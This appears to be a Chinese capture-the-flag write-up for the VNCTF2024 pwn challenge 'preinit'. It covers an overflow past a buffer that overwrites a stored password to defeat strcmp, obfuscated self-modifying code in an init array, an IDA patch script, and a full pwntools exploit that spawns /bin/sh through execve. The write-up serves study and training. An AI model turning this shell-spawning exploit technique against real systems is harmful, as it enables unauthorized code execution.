[VNCTF2024]-PWN:preinit解析(逆向花指令,绕过strcmp,函数修改,机器码)

查看保护:

查看ida:

这边其实看反汇编没啥大作用,需要自己动调。

但是前面的绕过strcmp还是要看一下的。

解题:

这里是用linux自带的产生随机数的文件urandom来产生一个随机密码,然后让我们输入密码,用strcmp检查password是否与checkpass一样。我们可输入的字节数为0x110。

这里可以看出来我们的输入其实是存到bss段里了,而password距离checkpass也就0x100,所以我们的输入是可以覆盖checkpass的。

但是全题就这一个输入的地方,所以要考虑很多才能写好payload。

输入完之后进入level

这里会把我们的输入存入s中,在check中进行异或操作,再进入level2。

ida没什么好讲的,动调才是重点。

首先,你在level2打断点进如level2了之后就会发现这里跟ida汇编里是不一样的。

ida里面是这样的

完全不一样

这里是因为程序对level2进行了修改,所以我们即使在静态调试看机器码也看不出来,只有动调才能知道level2被修改了。

问题就出在初始化那里

他这里自己自定义了一个初始化数组

对level2是又一定影响的,而且这里还用了花指令,从地址红色可以看出这些地方解析有争议。

事实上,其实我们用不着去了解为啥level2被改,也用不着在ida里把level2给改回来(在ida里修改机器码是影响不了elf文件的,只是为了分析),直接看动调就行了,动调是啥就是啥。

但既然有这个点就说一下。

我们先看动调出来的

对机器码敏感的应该很快就可以看出来,\x57对应push di,而\x56对应push si,后面的也可以对应得上(这里是人为注入机器码形成花指令,有些数据是干扰的),那就是题目引导你去把这里的机器码改进level2中。

然后排除干扰数据修改level2

import idaapi
list=[0x480A7F8D48525657,0x0AAF300000050C1C7,0x0FF085F8D485F5E5A,0x0C3E3]
addr=0x401324
for i in list:idaapi.put_qword(addr,i)addr+=8

说了那么多,感觉都不如直接看动调来得容易,毕竟比赛的时候太难想到了。

在执行jmp rbx之前,无论输入啥,在大多数情况下rdi里面会储存我们输入的字符串的开头,rsi为0,rdx为0,rax为输出的字节数,rip为rdi+8并可以控制,如果此时我们令rdi为/bin/sh,rip为syscall就可以进行系统调用execve。这样就出了。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./preinit')list=b'/bin/sh\x00\x0f\x05' #\x0f\x05是调用syscall
shell=[]
shell+=[i^0x3b for i in list]
'''
for i in list:shell.append(i^0x3b)
'''
shell=bytes(shell)+b'%50c'
payload=shell
payload=payload.ljust(0x100,b'\x00')
payload+=shell
print(payload)
p.sendafter(b'what is your password:',payload)
p.interactive()

补充点1:

在我们调试的时候可能会认为程序卡住了,比如下图

其实这是因为rep stosb的原因,准确的说是rep,他会根据cx寄存器里的值进行重复操作,比如这里是rcx=0x50,他就会进行0x50次操作,重复完之后会接着进行下一步。

补充点2:

像刚刚的操作在ida没法修改elf文件的机器码

补充点3:

在修改level2的时候可能会遇到这种情况

那就鼠标选中要重新分析的范围

按c重新分析

就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/502748.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI Agent

目录 一、什么是Agent 二、什么是MetaGPT【多智能体框架介绍】 三、MetaGPT的背景 一、什么是Agent 智能体 LLM观察思考行动记忆 Agent(智能体) 一个设置了一些目标或任务,可以迭代运行的大型语言模型。这与大型语言模型(LLM&am…

Tomcat部署Web服务器及基础功能配置

前言 Tomcat作为一款网站服务器,目前市面上Java程序使用的比较多,作为运维工人,有必要了解一款如何去运行Java环境的网站服务。 目录 一、Java相关介绍 1. Java历史 2. Java跨平台服务 3. Java实现动态网页功能 3.1 servelt 3.2 jsp …

消息队列+更新DB极易引发的DB并发修改bug

背景 我们在生产系统中和其他系统进行交互时一般都会通过消息队列来解耦生产者和消费者,然后通过每个使用方消费消息队列的消息的方式来完成消息的消费,并且一般来说我们消费消息后极有可能会操作DB,不过这种方式如果处理不够仔细&#xff0…

Linux之sed命令详解及实践

1、定义 sed全称是:stream editor 流编辑器 对文件的操作无非就是”增删改查“,**sed命令就是实现对文件的”增删改查“。** **man sed//man 的解释** 用于过滤和转换文本的流编辑器 2、功能 Sed 主要用来自动编辑一个或多个文件、简化对文件的反复…

5G 网络建设【华为OD机试-JAVAPythonC++JS】

题目描述 现需要在某城市进行5G网络建设,已经选取N个地点设置5G基站,编号固定为1到N,接下来需要各个基站之间使用光纤进行连接以确保基站能互联互通,不同基站之间架设光纤的成本各不相同,且有些节点之间已经存在光纤相…

MySQL索引失效与MySQL8新添加的索引特性

目录 MySQL索引失效的场景 数据表和索引的准备 1 .联合索引不满足最左匹配原则 2.对索引进行表达式计算 3.对索引使用函数 4.对索引隐式类型转换 5.like的不当使用 6.where子句中的 or 7.not int导致索引部分失效 MySQL8新增的索引特性 函数索引 索引跳跃扫描(Index…

USLE模型-LS因子的计算

目录 计算坡度计算填洼计算流向计算水流长度计算水平投影![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/75e015b2d6874ce9b6652f2b8730b90f.png)计算可变的坡度指数m计算坡长因子L计算坡度因子S计算LS因子参考视频 计算坡度 准备好30米分辨率的dem 计算填洼 计…

【Unity】如何设置Unity脚本的执行顺序?

在 Unity 编辑器中设置脚本执行顺序 在 Unity 中,如果有多个脚本,并且它们之间的执行顺序很重要,可以通过编辑器设置来确保它们按照自己期望的顺序执行。这对于确保某些脚本在其他脚本之前执行非常有用。在这篇文章中,将向会展示如…

农产品质量追溯系统—简介

概要 农产品质量安全事关广大人民群众的食用安全和身体健康。解决农产品质量安全问题,需要从源头开始抓好、抓实农产品安全监管工作。通过建立从产地到市场的全程质量控制系统和追溯制度,对农产品产地环境、生产过程、产品检测、包装盒标识等关键环节进行监督管理,提高广大…

electron+vue3全家桶+vite项目搭建【28】封装窗口工具类【2】窗口组,维护窗口关系

文章目录 引入实现效果思路主进程模块渲染进程模块测试效果 引入 demo项目地址 窗口工具类系列文章: 封装窗口工具类【1】雏形 我们思考一下窗口间的关系,窗口创建和销毁的一些动作,例如父子窗口,窗口组合等等,还有…

Redis--持久化机制详解

什么是redis持久化? Redis持久化是将内存的数据持久化到磁盘上,防止Redis宕机或者断点的时候内存中的数据丢失,把内存中的数据写入到磁盘的过程叫持久化。 Redis持久化的方式? RDB(Redis DataBase)&…

Vue+SpringBoot打造天然气工程运维系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统角色分类2.2 核心功能2.2.1 流程 12.2.2 流程 22.3 各角色功能2.3.1 系统管理员功能2.3.2 用户服务部功能2.3.3 分公司(施工单位)功能2.3.3.1 技术员角色功能2.3.3.2 材料员角色功能 2.3.4 安…